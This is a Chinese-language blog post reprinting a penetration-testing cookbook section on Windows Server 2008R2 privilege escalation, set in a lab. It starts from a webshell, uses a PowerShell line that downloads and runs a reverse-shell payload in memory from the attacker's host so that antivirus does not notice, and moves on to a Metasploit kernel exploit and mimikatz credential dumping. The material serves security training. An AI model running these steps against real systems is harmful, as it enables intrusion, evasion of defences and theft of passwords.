前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali Linux Web渗透测试手册(第二版) - 7.5 - Windows提权

Kali Linux Web渗透测试手册(第二版) - 7.5 - Windows提权

作者头像
Power7089
发布2019-07-25 13:09:07
8910
发布2019-07-25 13:09:07
举报
文章被收录于专栏:闪石星曜CyberSecurity

根据我以往的渗透测试经验来看,有60%以上的服务器都是搭建在windows服务器之上的,并且使用SQL Server作为数据库,所以,作为渗透测试者的我们,更应该掌握Windows服务器的相关知识,而提权,就是其中之一。

在本章节,我们将从Windows服务器上的一个有限的WebShell作为切入点,利用公开漏洞来获得system级别的访问权限,当然,system是windows系统的最高级别权限,在该权限下你可以运行所有的可执行命令。

环境准备

在这个章节中,我们假设获得了运行在windows 2008R2服务器上的网站的WebShell(https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx),当然这个WebShell是被限制了执行权限的。

Windows 2008R2可以在(https://www.microsoft.com/en-us/download/details.aspx?id=2227)这里下载到。你需要自己添加Web服务器管理员角色并将它配置为支持ASP.NET,管理员角色添加好了,在命令框中执行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis –I 命令。

实战演练

首先我们需要自己手动上传webshell到自己得服务器上,本例是在:192.168.56.14/cmd.aspx.上传成功后我们第一步要做的就是查看当前用户的级别:

1.打开浏览器访问WebShell,并执行whoami命令,如下图:

如上图,我们的当前用户是defaultapppool,它是iis apppool组的成员。并且这个成员的执行权限是很小的。

2.使msfvenom创建一个反向连接,我们将通过powerShell在目标的内存中运行一些指令,这样是为了防止触发目标服务器上的杀毒软件(只有接触到硬盘操作的时候才会被杀软所重视),所以我们的脚本类型一定要是Powershell支持的脚本类型,参数是-f psh,并且要将该payload保存在下来,使用 -o /var/www/html/cutedolphin.ps1,如下图:

3.创建完payload后,打开Kali服务器,使用命令service apache2 start

4.还需要创建一个handler来监听会话的连接,首先在命令行中执行msfconsole打开metasploit,然后再执行下列命令:

5.Handler的配置如下图所示,仔细检查每一项,确认无误后使用run命令运行:

6.Handler运行后就会处于监听状态,等待目标的链接,所以此时我们需要在目标上执行payload来接入handler,如下图,将Program设置为powershell.exe,Arguments设置为-noexit -ciex((New-ObjetNet.WebClient).DownloadString(‘http://192.168.56.10/cutedolphin.ps1’))然后点击Run运行它:

7.如果payload正确地执行了,那么handler就会接入一个连接,如下图:

8.当meterpreter连接上目标主机时,我们可以尝试使用getsystem命令来提权,如果可以的话便会直接获取到system权限,如果失败的话,正如下图所示,我们使用getsystem并没有成功,还使用了hashdump依然失败了,所以我们只能使用sysinfo命令获取系统相关信息,另辟蹊径。

9.使用background命令将当前会话挂起到后台运行;

10.使用searchsploit命令查找可用于2008R2的模块,其中有一个是用来进行本地权限提升的,但是我们使用它后发现并不起作用,这是因为服务器已经打了补丁的缘故:

11.但是我们知道在Exploit-DB数据库中可用于2008R2的模块绝不仅仅是上图的那6个,我们使用grep命令,查找更多的有关模块,如下图,我们找到了更多:

12.现在我们可以根据自己服务器的配置选择一个可利用的模块,乍一看是有点让人头大,在这里我们可以使用head命令来查看每个候选程序的第一行,比如,如下图,我们可以查看编号为40410的漏洞的前20行信息,可以发现它利用了一个名为Zortam Mp3 Media Studio的软件,但是我们很熟悉我们的服务器中并没有安装该软件,所以我们将它排除,看看别的:

13.我们继续寻找着,知道我们发现了编号为35101的模块,它利用windows的内部组件来进行提权,它属于metasploit的模块之一,所以我们可以将它应用在我们刚才挂起的会话中,模块关键信息如下:

14.打开msfconsole并且使用search命令查找TrackPopupMenu,它是模块的名字,这一点你可以在上图红色横线的地方看到,我们要找的是2014年的,如下图:

15.模块的配置信息如下:

配置完成后应该是这样的:

16.运行漏洞就会发现它会在我们挂起的session 1中生效:

17.在新生成的会话中,我们可以使用getuid命令来查看当前用户信息,也可以使用hashdump命令列出用户的hash密码,还可以加载metasploit模块如mimikatz,并进一步执行kerberos,wdigest,tspkg命令来破解登录用户的密码。

原理剖析

我们在获取到主机的webshell后继续上传更高级的webshell来尝试提权。

首先我们使用msfvenom精心构造了一个powershell类型的payload反向连接,并使用handler来监听它,windows服务器上的powershell会调用WebClient对象和DownloadString函数来下载并执行payload,由于远程文件直接通过IEX在内存中执行了,并没有存储到硬盘中,可以躲过大多数杀软。

获取到目标主机的shell后我们尝试使用命令getsystem命令快速提权,然而并没有起作用,所以我们只好在Exploit-DB数据库中查找其他的可用的模块,该模块可直接用于metasploit中,只需要加载它并未它设置反向连接的IP和端口即可,它便会利用我们已经获得到的session会话尝试执行提权操作,一旦成功,就会返回新的shell。

拓展训练

Pentestmonkey含有一个有趣的程序,它可以评估出当前windows中可能存在的被提权的漏洞,这个程序叫做windows-privesc-check.exe(https://github.com/pentestmonkey/windows-privesc-check/),如下图所示,是它的一些基本用法的展示:

它可以把结果以不同的格式保存下来,如HTML、XML和.txt格式,HTML格式的结果信息如下:

另一个非常有趣的程序是Empire(https://github.com/EmpireProject/Empire),Empire包含多个操作系统的模块,可用于持久化访问,提权,侦察,横向渗透,数据过滤甚至是恶意攻击等目的,但是它并不包在Kali中,你可以在上述地址上下载使用它,下图是它的界面示例:


本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-01-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档